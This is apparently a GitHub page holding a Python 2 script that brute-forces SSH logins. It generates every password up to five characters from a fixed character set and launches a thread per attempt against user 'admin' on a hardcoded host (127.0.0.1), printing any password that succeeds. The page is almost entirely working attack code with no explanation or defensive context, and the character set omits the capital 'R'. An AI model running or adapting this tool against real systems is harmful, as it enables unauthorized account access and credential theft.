-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathssh-brute-force-threded.py
More file actions
56 lines (44 loc) · 1.53 KB
/
ssh-brute-force-threded.py
File metadata and controls
56 lines (44 loc) · 1.53 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#! /usr/bin/env python
# -*- coding: utf-8 -*-
#
#------------------------------------------------
import paramiko, sys, os, socket, threading, time
import itertools, string, crypt
PASS_SIZE = 5
def bruteforce_list(charset, maxlength):
return (''.join(candidate)
for candidate in itertools.chain.from_iterable(itertools.product(charset, repeat=i)
for i in range(1, maxlength + 1)))
def attempt(Password):
IP = "127.0.0.1"
USER = "admin"
PORT=22
try:
ssh = paramiko.SSHClient()
ssh.load_system_host_keys()
ssh.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy())
try:
ssh.connect(IP , port=PORT, username=USER, password=Password)
print "Connected successfully. Password = "+Password
except paramiko.AuthenticationException, error:
print "Incorrect password: "+Password
pass
except socket.error, error:
print error
pass
except paramiko.SSHException, error:
print error
print "Most probably this is caused by a missing host key"
pass
except Exception, error:
print "Unknown error: "+error
pass
ssh.close()
except Exception,error :
print error
letters_list = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQSTUVWXYZ1234567890!@#$&()'
for i in bruteforce_list(letters_list, PASS_SIZE):
t = threading.Thread(target=attempt, args=(i,))
t.start()
time.sleep(0.3)
sys.exit(0)